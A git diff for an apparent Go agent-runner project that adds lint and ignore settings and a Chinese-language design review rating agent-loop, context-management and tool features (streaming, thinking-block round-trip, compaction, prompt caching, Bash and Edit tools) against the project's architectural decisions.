diff --git a/.gitignore b/.gitignore index 2fcb51f..3a3e2c1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,5 @@ runs/ -__pycache__/ +.env +acceptance-report.json +/agentrunner +/dist/ diff --git a/.golangci.yml b/.golangci.yml new file mode 100644 index 0000000..3a0266b --- /dev/null +++ b/.golangci.yml @@ -0,0 +1,26 @@ +version: "2" + +linters: + default: standard + enable: + - forbidigo + settings: + errcheck: + # Writes to CLI stdout/stderr: checking these returns is noise. + exclude-functions: + - fmt.Fprint + - fmt.Fprintf + - fmt.Fprintln + forbidigo: + forbid: + - pattern: 'time\.Now' + msg: wall clock is banned in kernel/state/pipeline — inject internal/clock.Clock (PLAN 2.9) + - pattern: 'time\.Sleep' + msg: sleeping is banned in kernel/state/pipeline — use Clock.WaitUntil (PLAN 2.9) + exclusions: + rules: + # forbidigo only applies inside the deterministic core; everywhere else + # wall-clock use is legitimate (providers, tools, CLI). + - path-except: '^internal/(kernel|state|pipeline)/' + linters: + - forbidigo diff --git a/CAPABILITY-REVIEW-DETAILS.md b/CAPABILITY-REVIEW-DETAILS.md new file mode 100644 index 0000000..9bfdff0 --- /dev/null +++ b/CAPABILITY-REVIEW-DETAILS.md @@ -0,0 +1,1016 @@ +# 能力审查明细 — 166 个功能点逐项判定 + +> 本文件由审查流程自动汇总。verdict 口径:**clean** = 现有机制直接覆盖;**extension** = 顺着现有抽象新增代码即可;**friction** = 需局部修改某条已定决策或层间契约(已归并进 [CAPABILITY-REVIEW.md](CAPABILITY-REVIEW.md));**blocker** = 需底层重构(本次审查未发现)。 + +## Agent loop 核心机制(22 项) + +### token-level streaming output — `clean` + +*core · both* · 依据:L3 agent loop / Streaming 的持久化边界;决策#3、#15 + +设计把 streaming 定为一等能力:provider 薄接口 `complete(request) → stream` 原生流式(决策#15),token delta 只走 bus、显式 ephemeral,持久化的是组装完成的 assistant message 一条 event(L3 "Streaming 的持久化边界",明确说这是原则2的正版应用)。L4 输出事件流里也已列入 token delta,且 "token streaming 是纯增量,协议不变"。持久层与展示层切分干净,崩溃时丢什么一目了然,直接落 M3。 + +### fine-grained tool parameter streaming — `clean` + +*important · both* · 依据:L3 agent loop / Streaming 的持久化边界;L4 交互协议 + +tool 参数流式只是 bus 上多一种 delta 类型,"delta ephemeral / 组装后 message 持久化" 的边界完全不变;tool 执行必须等 tool_use 块组装完整才进 L2 管线,与管线时序无冲突。唯一要处理的是 fine-grained streaming 下 max_tokens 截断产生半截 JSON 参数的情况,属 provider 层解析细节,不触碰任何契约。 + +### extended thinking budget — `clean` + +*core · claude-code* · 依据:L3 agent spec model.thinking / 决策#15b + +spec 已原生写入 `thinking: { budget_tokens: 4096 }`,决策#15b 把 thinking 定为 provider 无关的可选 capability,各 provider 自行映射(Anthropic extended thinking / Gemini thinking config),不支持时"明确降级或报错而不是静默忽略"。per-message 动态调 budget(ultrathink 类关键词)只是请求参数变化,不触碰 prefix 稳定性不变量。 + +### thinking block signature round-trip (incl. redacted thinking) — `extension` + +*core · claude-code* · 依据:L3 Provider 返回归一化 / 决策#15b;L3 context assembly fold + +Anthropic 要求 thinking/redacted_thinking 块连同 signature 字段逐字节原样回传,否则 thinking+tool use 的后续请求直接被 API 拒绝。设计的"返回归一化……thinking 块统一成一套内部表示,L2/L3 不感知具体 provider"(决策#15b)没有承诺保留 provider 专属的不透明字段——归一化表示必须显式加 opaque passthrough(signature、redacted 密文),并保证 event log 里的 assistant message event 与 context assembly 的 fold 全程字节保真。顺着现有抽象加字段即可、不动契约,但这个约束必须在归一化 schema 定型时就钉死:事后补字段会导致已存日志无法合法回放给 API。 + +### interleaved thinking — `clean` + +*important · claude-code* · 依据:L3 Provider 返回归一化 / 决策#15b + +归一化表示按 content block 组织("tool_use、thinking 块统一成一套内部表示"),interleaved thinking 只是同一 assistant 消息内 thinking/text/tool_use 块的有序混排加一个 beta 开关,fold → provider 请求的路径天然保序。signature 保真由 signature round-trip 条目覆盖,此外无新增机制。 + +### parallel tool calls (mixed allow/ask, out-of-order completion) — `clean` + +*core · both* · 依据:L3 agent loop 并行 tool call / L2 决策#8、#9 + +L3 明文"并行 tool call 是常态":每个 call 独立过 L2 管线,判定 allow 的并发执行,判定 ask 的按序等审批且"审批挂起不阻塞已放行的 call",完成 event 按到达顺序落盘——部分 allow 部分 ask 混合与乱序完成这两个难点都被点名设计。决策#9 保证每个 tool_use 都有配对 tool_result(deny/block/失败均渲染为 error tool_result),API 配对约束不会被并行破坏。 + +### steering (mid-turn user injection at tool-call boundary) — `clean` + +*core · both* · 依据:L3 agent loop Steering / L1 "挂起是显式状态" / 决策#4 + +插话按决策#4 先 journal 成 event 再消费,崩溃不丢;L1 明文"审批、timer、人工输入全都发生在 turn/tool-call 边界",已把 tool-call 边界写进挂起契约。L3 的表述是"在 turn 边界被 loop 消费",但从 max_turns:40 与 per-turn snapshot/commit 看,本设计的 turn = 单次 LLM 调用 + 其 tool batch,该边界即等价于 Claude Code 的"当前 tool call 结束后立即注入"(下一次 LLM 调用之前)。不需要改契约,只需实现时钉死 turn 的定义、消除 L1 与 L3 两处措辞的歧义。 + +### interrupt (Esc) with consistent post-interrupt state — `clean` + +*core · both* · 依据:L1 activity 协作取消 / 决策#6;L3 agent loop Steering 与 interrupt + +协作取消是 activity 一等能力(决策#6):"跑了 10 分钟的 bash 必须能被 Esc 杀掉——interrupt 语义建立在这之上";打断记 `ActivityCancelled{partial_output}`,被打断的 tool call 以 "[interrupted by user]" tool_result 呈现给下一 turn,满足 tool_use↔tool_result 配对。打断流式 LLM 调用同样是取消一个 activity——token delta 本就 ephemeral,一致性由"持久化的只有组装完成的 message"保证。测试策略里还专门为 interrupt 排了崩溃注入测试。 + +### retry / 429 / 529 overloaded / mid-stream disconnect recovery — `clean` + +*core · both* · 依据:L1 activity 语义(retry)/ 决策#6;L3 agent loop TurnDiscarded + +"retry/backoff、rate limit 处理、model fallback 是 activity 级策略"(决策#6),所有副作用共享一套重试语义;mid-stream 断流重试有专门的 `TurnDiscarded` event,前端据此渲染"重试中"并重新开流,"绝不静默替换用户已看到的文本"。一个实现口径要注意:决策#6 的 in-doubt "绝不静默重跑"字面上也覆盖崩溃时半途的 LLM 调用,恢复后应把它按 TurnDiscarded 处理、由用户继续触发新调用,而不是机械地转人工——这是策略细化,不是契约修改。 + +### mid-session model switch (/model) incl. cross-provider — `extension` + +*important · both* · 依据:L3 context assembly Prefix 稳定性("要么禁止要么显式换代")/ 决策#4、#15b + +需要新增一个 journal 化的运行时覆盖 event(ModelChanged 类,走决策#4 的输入语义)参与 fold,并走 prefix 不变量里明文预留的"显式换代"路径重建缓存前缀——两个钩子设计里都有。跨 provider 的历史序列化正是决策#15b 归一化内部表示的目标场景;要补的只是 provider 专属不透明块的降级规则(换家时 Anthropic thinking signature、Codex encrypted reasoning 必须丢弃)。/model 不是 spec 变更,不触发决策#18 的版本拒绝逻辑,属顺着骨架长的新代码。 + +### reasoning effort levels & fast mode (serving tier) — `clean` + +*important · both* · 依据:L3 Provider capabilities / 决策#15b + +决策#15b 把能力定义为"通用的、可选的":reasoning effort(Codex 的 minimal→xhigh)与 serving 档位/service tier 只是再加两个 capability 字段,请求以 provider 无关方式携带意图,各家自行映射,不支持时"明确降级或报错"已有明文。中途切换与 /model 复用同一个运行时覆盖 event 机制。 + +### structured output (forced JSON schema; subagent result contract) — `extension` + +*important · both* · 依据:L3 Provider 能力抽象 / 决策#15b;L3 Multi-agent result contract + +请求侧走决策#15b 加一个 output_schema capability(Gemini responseSchema / OpenAI json_schema / Anthropic tool-forcing),是既有模式的直接套用。但 multi-agent 的 result contract 目前只"在子 agent spec 的 description/输出约定里声明",是文本约定而非 schema 强制;要让 subagent 结果可靠回流,需在 spec 增加输出 schema 字段,loop 侧对最终输出做校验与修复重试。均为新增组件,不动 L0-L2 契约。 + +### stop reason handling: max_tokens continuation, prompt-too-long — `clean` + +*core · both* · 依据:L3 Provider 返回归一化 / 决策#15b;context assembly Compaction / 决策#5、#9 + +finish reason 已在 provider 层归一化(决策#15b),max_tokens 截断续写是 loop 对归一化 stop reason 的分支处理。prompt too long 的事前防线是 compaction(trigger_ratio 0.8,recorded activity,产出 ContextCompacted 并"改变后续 fold 的结果");事后兜底是捕获 provider 错误、触发 compaction 后重试同一 activity——因为没有 code replay 纪律(决策#5),重试时按新 fold 重建请求完全合法。budget 类超限还有"让模型收尾的最后一条消息+优雅停止"的明文(决策#9)。 + +### automatic model fallback (primary unavailable) — `clean` + +*important · claude-code* · 依据:L1 activity 语义(retry/fallback)/ 决策#6 + +"model fallback 是 activity 级策略"在 L1 activity 语义里被点名为所有副作用共享的通用属性(决策#6),529/overloaded 触发 fallback 就是 retry 策略的一个分支。同 provider 降档(opus→sonnet)零额外成本;跨 provider fallback 需叠加 model-switch 条目里的不透明块降级规则。 + +### token counting & cost accounting (cache read/write split) — `clean` + +*core · both* · 依据:L3 context assembly(cache_read/write 归一化记账)/ L2 budget 关卡 / L4 Observability + +L3 明文"LLM activity 的 event 记录归一化的 cache_read/cache_write token,budget 关卡按真实计费口径记账",观测面 inspect 也列了 token/cost 含 cache 命中——cache 分口径正是题面要求的形态,且 budget 关卡(L2 第3关)直接消费这些数据。小注意:Gemini 显式 context cache 按存储小时计费而非纯 token 口径,记账 schema 留一个 provider 附加费用字段即可,不构成结构问题。 + +### Codex reasoning summaries & encrypted reasoning items — `extension` + +*core · codex* · 依据:L3 Provider 返回归一化 / 决策#15、#15b + +reasoning summary(可见摘要)走 bus 的 delta 流,encrypted_content(不透明密文)落进归一化 thinking 块——与 Anthropic signature 同构的 opaque passthrough 问题:event log 存原文,fold 时逐字节回传。OpenAI provider 作为第三个 provider 实现接入,决策#15 的"两个实现验证抽象不漏"正是为此铺路。前提同 signature 条目:归一化表示必须在定型时预留 provider 不透明字段。 + +### Codex Responses API stateful conversation — `extension` + +*important · codex* · 依据:决策#3、#17(带外运行时状态先例)/ L3 Provider(Gemini context cache 句柄) + +若把 previous_response_id/conversation 当 source of truth,会与决策#3"持久状态只有 event log 和 workspace 两处"冲突;但设计已有同类先例:MCP server 生命周期是"带外运行时状态,不进 event 模型"(决策#17),Gemini context cache 句柄也由 provider 层自行管理。provider 侧对话句柄同样可当可丢的带外缓存——句柄失效或 rewind/fork 时退回 store:false + 全量历史重发(encrypted reasoning items 保 reasoning 连续性,Codex 自身即以此模式支持 ZDR)。功能面无损,属 provider 实现内部的优化路径。 + +### prompt caching & prefix stability (loop-placed breakpoints) — `clean` + +*core · both* · 依据:L3 context assembly Prefix 稳定性 / 决策#15、#15b + +设计把 prefix 稳定性列为"显式不变量"并直言"没有它 agent loop 在经济上不可用":system prompt 与 tool schema 排序稳定、cache 断点由 loop 放置、任何打爆 prefix 的操作要么禁止要么显式换代;缓存落地方式(Anthropic cache_control vs Gemini context cache 句柄)归 provider 实现,token 记账归一化。这是全设计中论证最充分的机制之一,M3 直接落地。 + +### background tool execution (run_in_background, async result injection) — `extension` + +*important · claude-code* · 依据:L1 activity 语义 / 决策#4、#6;L4 fork/rewind barrier + +可由现有 primitive 组合:bash activity 照常 Started 落盘,loop 立即合成"running in background"的 tool_result 满足配对并继续 turn,后续输出/完成按决策#4 journal 成输入 event 在 turn/tool-call 边界注入。需要补两处定义:fork/rewind 的 barrier 条件(现为"turn 边界+全部子 agent 静默+workspace commit")要扩成"且无 in-flight background activity";跨 turn 的后台 activity 在崩溃后按决策#6 的 in-doubt 语义上浮,现成可用。均为局部扩展,不动 L0-L2 契约。 + +### mid-turn context injection (system-reminders: file changes, todo state) — `extension` + +*important · claude-code* · 依据:L0 bus 契约(journal 先于消费)/ 决策#4;L3 context assembly + +Claude Code 重度依赖在 tool-call 边界注入 system-reminder(文件被外部修改、todo 状态、CLAUDE.md 提示)。在本设计里这些是"会影响 run 结果的输入",按 L0 bus 契约/决策#4 必须先 journal 成 event,再由 context assembly 拼进请求尾部——机制现成,且注入发生在 suffix,不破坏 prefix 缓存不变量。需要新增的是产生 reminder 的探测组件(workspace 变更监测等),纯 L3/L4 新代码。 + +### server-side tools (provider-executed web search) & pause_turn — `extension` + +*important · both* · 依据:L2 effect pipeline / 原则3;L3 Provider 返回归一化 + +Anthropic server-side web_search(含 pause_turn 自动续跑)与 OpenAI 内建 web_search 在 provider 采样过程中执行,原则3"一切副作用流经同一条 effect pipeline"对它们物理上够不着——L2 的 hooks/permission 无法逐次拦截,只能在请求构造时做工具面级 allow/deny。这与任何客户端 harness 的约束一致(Claude Code 同样不能逐次拦截 server tool),不构成能力差距:把 server tool 调用记录为 LLM activity 结果内的归一化块、loop 对 pause_turn stop reason 自动续请求即可。建议在设计里明文写下"provider 执行的工具不过 L2"这条例外,避免实现期把它硬塞进管线。 + +### OAuth/subscription auth & cloud credential chains (token refresh) — `friction` + +*core · both* · 依据:决策#15c / L3 Provider 凭据 + +障碍是决策#15c 原文:"凭据只从环境变量读(GEMINI_API_KEY 等),绝不进 spec/event/仓库",provider 实现"从环境读取"。而 Claude Code 的主流路径是 claude.ai 订阅 OAuth(refresh token 持久化+过期刷新+回写凭据存储),Codex 同样以 ChatGPT 账号登录为主,Bedrock/Vertex 走云 SDK 凭据链——三者都不是"读一个静态环境变量"能表达的。具体失败场景:一个跑数小时的 run 中 access token 过期,provider 必须执行刷新并把新 token 持久化到凭据存储,纯环境变量模型下无处安放,刷新后的 token 随进程死亡即丢,run 恢复后无法再调 LLM。修法是把 #15c 局部改为"凭据经 CredentialProvider 接口解析,静态 env 是其一种实现",保住"密钥不进 spec/event/仓库"的底线;改动不大,但决策原文构成直接障碍,故为 friction。 + +## 上下文管理(23 项) + +### dynamic-env-block-vs-prompt-cache — `friction` + +*core · both* · 依据:L3 Context assembly / 原文"环境块(cwd、git 状态、日期)"与"Prefix 稳定性是显式不变量" + +L3 context assembly 的固定拼装顺序把"环境块(cwd、git 状态、日期)"放在 system prompt 第二段,同一节又宣布"Prefix 稳定性是显式不变量"、"没有它 agent loop 在经济上不可用(约 10x)"——两条互相矛盾:git 状态是每 turn 都变的动态内容。失败场景:agent 每 turn 编辑文件 → git status 变化 → system prompt 逐 turn 重渲染 → Anthropic cache_control 前缀每请求 miss,缓存经济性被自家拼装规则归零。现有护栏"任何会打爆 prefix 的操作(配置中途变更)要么禁止要么显式换代"只针对配置变更,未覆盖环境块的固有动态性。修复必须局部修改 L3 拼装契约:给环境块加每 session/每代冻结语义,或把 git 状态等动态项移出 system prompt、注入消息流(Claude Code 的实际做法),两者都不是现文本描述的机制。 + +### system-prompt-assembly-order — `clean` + +*core · both* · 依据:L3 Context assembly / 原文"System prompt 是拼装的,顺序固定" + +L3 明确把 context assembly 列为"一等组件",system prompt 拼装顺序固定:harness 基础指令 → 环境块 → memory 文件层 → tool/skill/子 agent 目录 → spec system prompt,与 Claude Code 的实际分段一一对应。目录注入被点名为 multi-agent 可用的前提("模型不知道 summarizer 存在就永远不会 spawn 它"),说明各段来源已被想清楚。落进 M3 roadmap 即可。 + +### claude-md-hierarchy-and-imports — `extension` + +*core · claude-code* · 依据:L3 Agent spec / context.memory_files + "配置分层从简:两层起步" + M4 + +spec 已有 context.memory_files: true,L3 写明"CLAUDE.md 按目录层级合并",M4 排期了 memory 文件——祖先目录链合并的骨架存在。enterprise/user/project/local 四级依赖配置分层,而设计明确"两层起步、三层与更细的合并语义等真实冲突出现再加",属文档化推迟;@import 只是 memory 加载器内的解析逻辑。这些都顺着现有 memory 层抽象生长,不动任何契约。 + +### subdir-claude-md-on-demand-injection — `extension` + +*important · claude-code* · 依据:L3 Context assembly memory 层 + 决策#4 输入语义 + +Claude Code 的子目录 CLAUDE.md 是运行中途(tool 首次触达该子树时)才注入的,不能走设计里的 memory 层——那是 system prompt 的一段,中途改动会打爆 prefix 不变量——必须走消息流注入。好在决策#4"一切外部输入先 journal 成 event 再消费"提供了正版通道:发现的文件内容 journal 成 event,fold 时渲染为消息流里的注入块,确定性与可审计性都保住。需要新增"发现触发器 + 消息流注入"两块代码,但完全顺着 journal+fold 抽象走;只是现文本"按目录层级合并"读起来是 session 启动时的静态合并,需在实现时补上按需通道,不构成契约冲突。 + +### agents-md-convention — `clean` + +*important · both* · 依据:L3 Agent spec / context.memory_files + 决策#16 + +AGENTS.md(Codex 主用、Claude Code 已兼容)只是 memory 文件机制下多一个文件名发现规则,L3 的"CLAUDE.md 式指令文件注入"与"按目录层级合并"直接覆盖其层级合并语义(repo 根到 cwd 链)。决策#16"沿用 Claude Code 约定、生态兼容不发明格式"表明设计立场就是兼容既有约定。M4 memory 文件排期内即可带上。 + +### auto-compaction-threshold — `clean` + +*core · both* · 依据:L3 Context assembly / 原文"Compaction 是 recorded activity" + 决策#6 + +spec 已有 compaction: { trigger_ratio: 0.8 },L3 明确"Compaction 是 recorded activity":它本身是一次 LLM 调用(非确定性副作用),产出 ContextCompacted{summary, kept_range} event 并改变后续 fold 结果。崩溃发生在 compaction 中途由 L1 的 in-doubt activity 语义兜底(有 Started 无 Completed 上浮,不静默重跑),阈值判断的输入(token 用量)来自 event 记录的归一化 cache_read/cache_write 计数。机制闭环,M3 排期内。 + +### manual-compact-and-clear — `extension` + +*important · both* · 依据:L4 交互协议"协议预留:slash command" + L3 ContextCompacted 模式 + +手动 /compact 带自定义 instructions:slash command 在 L4 交互协议里是"协议预留(原型不实现)",指令 journal 成 event 后触发同一个 compaction activity,instructions 作为其参数记录在 event 里,可审计可重建。/clear 在 append-only event log 下不能删历史,但 ContextCompacted 已确立"事件改变后续 fold 视图"的模式,加一个 ContextCleared 事件(fold 后消息视图清空、memory/环境保留)是同构的。都是新增代码、不动 L0-L2 契约。 + +### microcompaction-context-editing — `extension` + +*important · claude-code* · 依据:L3 Context assembly / ContextCompacted event 模式 + +清理旧 tool result 而非整体 summarize:ContextCompacted{summary, kept_range} 的 schema 是摘要式、连续区间,microcompaction 需要按条目选择性擦除(非连续 id 列表),要新增一种 fold-affecting event 类型。但"事件改变 fold 视图"的模式直接泛化;且 microcompaction 是确定性规则不需要 LLM 调用,只需纯 event 不需要 activity,比 compaction 更简单。改写消息中段必然打一次 cache 前缀重写,这是该技术的固有成本(Claude Code 同样承担),不是设计缺陷。 + +### compaction-rewind-fork-semantics — `clean` + +*important · claude-code* · 依据:L3 Context assembly / 原文"跨 compaction 边界的 fork/rewind 语义因此是良定义的" + L4 fork/rewind barrier + +设计原文直接回答了这个问题:"跨 compaction 边界的 fork/rewind 语义因此是良定义的:fold 到哪个 seq,就得到哪个视图"。rewind 到 compaction 之前的 barrier = fold 到更早 seq,得到未压缩视图;若该视图再次逼近窗口上限,trigger_ratio 会重新触发 compaction,自洽。L4 的 barrier 语义(turn 边界 + 子 agent 静默 + workspace commit)与 compaction event 落在 turn 边界天然对齐。 + +### tool-result-truncation-and-paged-read — `clean` + +*core · both* · 依据:L3 Context assembly / 原文"Tool 结果截断" + spec context.tool_output_limit + 决策#13 + +L3 明确"Tool 结果截断:per-tool 输出上限,超限截断并告知模型被截断了——一条 cat large.json 不能毁掉上下文和预算",spec 有 tool_output_limit: 30000,且 tool 定义作为数据包含 per-tool 截断上限(决策#13)。超大文件分页读取只是 read_file tool 定义里加 offset/limit 参数,tool 定义是数据文件,不涉及任何框架改动。 + +### prompt-cache-prefix-stability-and-breakpoints — `clean` + +*core · both* · 依据:L3 Context assembly / 原文"Prefix 稳定性是显式不变量" + 决策#15/15b + +缓存是设计里少数被当作经济性前提反复强调的点:"Prefix 稳定性是显式不变量",system prompt 与 tool schema 排序稳定、cache 断点由 loop 放置、provider 各自映射(Anthropic cache_control vs Gemini context cache 句柄),event 记录归一化 cache_read/cache_write token 供 budget 按真实计费口径记账。fold 是纯函数意味着 resume 后能字节级重建相同前缀,5m/1h TTL 内缓存甚至能跨进程重启存活——这是 event-sourcing 送的红利。tool 列表顺序耦合已被"排序稳定"显式覆盖。(环境块动态性问题单列为 friction 条目。) + +### cache-ttl-variants-5m-1h — `extension` + +*nice-to-have · claude-code* · 依据:决策#15b 能力抽象 + L3 Provider capabilities() + +Anthropic 的 5m/1h TTL 选择是 cache_control 上的一个参数,决策#15b 已把 caching 定义为 provider 无关的可选 capability、由各 provider 映射到自家 API,TTL 只是该 capability 的一个字段。Gemini 隐式缓存无 TTL 控制的差异由"请求了不支持的能力时明确降级或报错,而不是静默忽略"覆盖。纯参数扩展。 + +### mid-session-tool-list-change-vs-cache — `extension` + +*important · both* · 依据:决策#17 MCP schema 记录为 event + L3 "要么禁止要么显式换代" + +MCP tools/list_changed 会改变进入 LLM 的 tool 列表,从而打爆 tool schema 前缀。决策#17 已把发现的 schema 和 list_changed 记录为 event("它们进入 LLM 的 tool 列表,是影响 run 结果的外部输入"),L3 的"要么禁止要么显式换代"给出了处理框架:list_changed 触发一次显式换代,一次性 cache 重写后新前缀重新稳定。需要实现换代策略(何时应用变更、如何通知 fold),但两端机制都已预留。 + +### multimodal-input-and-at-file-refs — `extension` + +*important · both* · 依据:L4 交互协议"协议预留:附件/图片消息类型" + 决策#4/#12/#15b + +图片/截图/PDF 与 @-file 引用在 L4 交互协议里是"协议预留(原型不实现):附件/图片消息类型",按题设口径算 extension。输入侧走决策#4:附件内容 journal 成 InputReceived 类 event 再消费;provider 侧的"返回归一化"内部表示需扩展出 image/document content block,与决策#15b 的能力映射一致。隐藏成本是决策#12 的 JSONL per stream"可读可 diff"会被 base64 大 blob 破坏,但 EventStore 接口明确预留了换后端(SQLite/外置 blob)的位置,不构成结构障碍。 + +### long-context-1m-window — `extension` + +*nice-to-have · both* · 依据:决策#15b + L3 Provider capabilities() + spec compaction.trigger_ratio + +1M 窗口对 Gemini 是原生、对 Anthropic 是 beta header,正是决策#15b capabilities() 声明 + provider 各自映射的教科书用例。窗口大小需要成为 capability 的一部分(compaction trigger_ratio 0.8 的分母就是它),这是一个待补的接口字段而非结构问题。 + +### context-usage-indicator — `extension` + +*important · both* · 依据:L3 Context assembly token 归一化记录 + L2 budget 关卡 + L4 交互协议 + +余量指示需要"当前上下文 token 数 / 窗口大小":分子来自 LLM activity event 记录的归一化 token 计数(budget 关卡已从 event stream 统计同类数据),分母来自 provider capability。需要新增的只是把该派生值放进 L4 输出事件流供前端渲染(协议加字段),以及 Claude Code /context 式的分段占用明细——context assembly 作为一等组件天然知道各段大小。全部顺着现有抽象。 + +### prompt-too-long-auto-recovery — `extension` + +*important · both* · 依据:L3 Agent loop + 决策#9 + ContextCompacted activity + +API 返回 prompt too long 时自动 compact 后重试:这不是 L1 通用 retry(重发同一请求必然再失败),而是 loop 级恢复——捕获 LLM activity 的终态失败、跑一次 compaction activity、以新 fold 视图发起新 LLM activity。决策#9 的失败渲染枚举只覆盖了 tool 类失败(error tool_result),LLM 调用自身终态失败的 loop 行为未写明,但这是 agent loop 内的普通控制流,不触碰任何契约;compaction 作为 recorded activity 的机制现成可用。 + +### history-fold-across-compaction — `clean` + +*core · both* · 依据:L1 Durability / 原文"State 是 event log 的纯 fold" + L3 ContextCompacted + +fold 语义是良定义的:state = fold(apply, events)、apply 是纯函数(L1 原则 2),ContextCompacted 是流内的普通 event,"改变后续 fold 的结果"。同一份 log 可以派生两个视图——provider 请求视图(尊重 compaction event)和完整转录视图(全量 events,供 UI 显示压缩前历史)——都是纯派生,不需要额外持久状态。snapshot 只是 fold 的可弃缓存(决策#7),与 compaction event 的先后叠加无歧义。 + +### codex-agents-md-merge-and-history-compression — `clean` + +*important · codex* · 依据:L3 Context assembly memory 层 + ContextCompacted event + +Codex 的 AGENTS.md 层级合并(~/.codex 全局 → repo 根 → cwd 链)与设计的"memory 文件按目录层级合并"是同一机制的不同文件名与搜索路径;Codex 的 /compact 与自动历史压缩落在同一个 ContextCompacted recorded activity 模式上,压缩策略差异(保留哪些近期消息)只是 compaction activity 的参数/提示词。不需要任何 Codex 专属的框架分支。 + +### memory-write-back — `extension` + +*nice-to-have · claude-code* · 依据:L2 effect pipeline / 决策#8 + 决策#4 + +Claude Code 的 # 快捷追加 CLAUDE.md 与自动 memory 目录:写 memory 文件就是一次普通的文件写副作用,走 L2 effect pipeline(hooks → permission → execute)并作为 activity 记录,与 edit_file 无异。触发入口(# 前缀消息)journal 成 event 后由 loop 或 frontend 解释。零新机制,只是新 tool/命令。 + +### thinking-block-roundtrip-in-context — `extension` + +*important · both* · 依据:决策#15b / L3 Provider "返回归一化:thinking 块统一成一套内部表示" + +Anthropic 与 Gemini 都要求后续请求原样回传带签名的 thinking 块,而决策#15b 把 thinking 块"统一成一套内部表示"——归一化表示必须无损携带 provider 专属的不透明字段(签名、原始 id),否则 fold 重建的请求会被 API 以 invalid signature 拒绝。这是实现归一化时给内部表示加一个 opaque provider_data 字段即可解决的事,设计没有禁止;model fallback 跨 provider 时签名不可转移,归一化表示反而让"丢弃/降级 thinking 块再重发"成为可能。属于需要在 M3 provider 归一化里写明的实现约束,非契约冲突。 + +### hook-output-context-injection — `extension` + +*nice-to-have · claude-code* · 依据:决策#11 hooks v0 + L2 "hook 的消息作为 error tool_result" + 决策#8 + +Claude Code 的 hook additionalContext / PostToolUse 反馈注入模型上下文:决策#11 v0 只 observe + block,改写连同顺序与缓存问题一起推迟,属文档化推迟。且设计已有对称先例——"hook block → hook 的消息作为 error tool_result",即 hook 输出进入模型视图的通道存在;成功路径的 feedback 注入同样经由 EffectResolved 记录、fold 时渲染,恢复时读记录值不重跑脚本的原则(决策#8)自动保住确定性。推迟的部分不藏结构问题。 + +### system-reminder-dynamic-injection — `extension` + +*important · claude-code* · 依据:决策#4 输入语义 + L3 Context assembly "fold(event log) → provider 请求" + +Claude Code 在用户 turn 里注入 system-reminder(todo 状态、文件被外部修改的通知、安全提示等)。在本设计里这类注入必须遵守决策#4:任何影响 run 结果的输入先 journal 成 event——todo 状态本身可从 event log 派生(纯 fold 内生成,无需额外 journal),外部文件变更通知则是外部输入需要 journal。fold 渲染时在消息流插入合成块即可,且不触碰 system prompt 前缀。需要新增"注入块"这一渲染概念和若干触发器,但与 journal+fold 契约完全同向。 + +## 工具与 workspace(18 项) + +### Read tool (text/pagination/images/PDF/notebook) — `extension` + +*core · both* · 依据:L3 Tools 与 workspace / 决策#13 / 决策#15b / 决策#12 + +read_file 在 M1 内置 tool 列表和 L3 '内置 tool 套件' 原文中。文本分页/notebook 解析是 tool 内部逻辑,顺着决策#13 'tool 定义是数据' 走。图片/PDF 需要 tool_result 携带多模态 content block:决策#15b 已把 provider 返回'统一成一套内部表示'并声明能力降级机制,给内部表示加 image block 类型是同一抽象的自然延伸,Gemini/Anthropic 都原生支持。隐藏成本是 JSONL event log(决策#12)里存 base64 图片会破坏'可读可 diff'属性,但 EventStore 接口后换存储是设计预留的出口,不构成结构问题。 + +### Edit tool (unique-match + freshness check, Codex apply_patch) — `clean` + +*core · both* · 依据:L1 Durability 模型第2条 / 决策#7 / 决策#13 + +唯一匹配约束是 tool 内纯逻辑。freshness 检查(read-before-edit、文件被外部修改后拒绝编辑)需要的 per-file 状态天然可得:read/edit 都是 activity,其结果落 event log,而 'state 是 event log 的纯 fold'(L1 原则 2)意味着 '哪个文件在 seq N 被读过' 可从 fold 重建;mtime 对比是执行时的普通副作用读取,在 activity 内完成。'崩溃恢复绝不碰文件系统'(决策#7)与此无冲突——恢复后首次 edit 重新校验即可。apply_patch 只是同一 tool-as-data 槽位的另一实现。 + +### Write tool — `clean` + +*core · both* · 依据:L3 Tools 与 workspace / 决策#10 / Roadmap M1 + +L3 原文明确列出 'file read/write/edit'。edit-class 类别标签(决策#10,tool 定义数据的一部分)让它直接接入 acceptEdits 等 permission mode 的工具面过滤,落进 M1 roadmap 即可。 + +### Glob/Grep tools — `clean` + +*core · both* · 依据:L3 Tools 与 workspace / L3 Context assembly Tool 结果截断 / 决策#10 + +L3 原文明确列出 'glob/grep'。read-class 只读标签使其自动纳入 plan mode 的只读工具面(决策#10 'plan = 只读工具面');结果截断由 'per-tool 输出上限'(context assembly 的 tool_output_limit)现成覆盖。 + +### NotebookEdit tool — `extension` + +*nice-to-have · claude-code* · 依据:决策#13 / L3 tool 定义是数据 + +新增一个 tool 定义数据文件 + 实现代码,.ipynb 的 cell 级读写是纯 tool 内逻辑,完全顺着决策#13 'tool 定义本身是数据'(description、schema、类别标签、per-tool 配置)走,打上 edit-class 标签即接入现有 mode 体系,不触碰任何层间契约。 + +### Bash tool (cwd persistence, timeout, output truncation) — `clean` + +*core · both* · 依据:L1 Activity 语义 timeout/取消 / L3 tool 定义 per-tool 配置 / 决策#17 + +timeout 有双重现成机制:L3 tool 定义数据原文点名 'bash timeout' 为 per-tool 配置,L1 规定 'timeout 是 durable timer' 且 activity 有协作取消。输出截断由 tool_output_limit('一条 cat large.json 不能毁掉上下文')覆盖。cwd 跨调用持续性:cwd 变化记入 activity result event,state=fold 可重建,resume 无忧;env/shell 函数不承诺持久与 Claude Code 现状一致,若做长驻 shell 进程则按决策#17 '带外运行时状态、resume 后重新拉起' 的先例处理。 + +### Background bash (run_in_background + output polling + kill + wake-on-complete) — `extension` + +*important · claude-code* · 依据:L0 actor/bus / L1 协作取消与 journal 输入(决策#4/#6)/ L4 fork-rewind barrier + +各机制骨架都在:启动调用作为普通 activity 立即返回 task id;后台进程由专职 actor 持有(L0 actor 模型),输出增量走 bus(决策#3 ephemeral 的正版应用);完成/退出按决策#4 journal 成输入 event(设计已列 'timer 到期' 为同类输入),loop 在 turn 边界被唤醒;kill 复用 L1 协作取消。需要新增的是后台任务 actor 与轮询 tool,并文档化两个语义空白:checkpoint barrier 的 '全部子 agent 静默' 要求需明确豁免后台任务(否则长驻 dev server 会让之后所有 turn 失去 rewind 点),其间的文件写入按 'bash 逃逸不在承诺内' 的既有精神处理;崩溃 resume 后进程已死,按决策#17 带外状态先例上浮。均不动 L0-L2 契约。 + 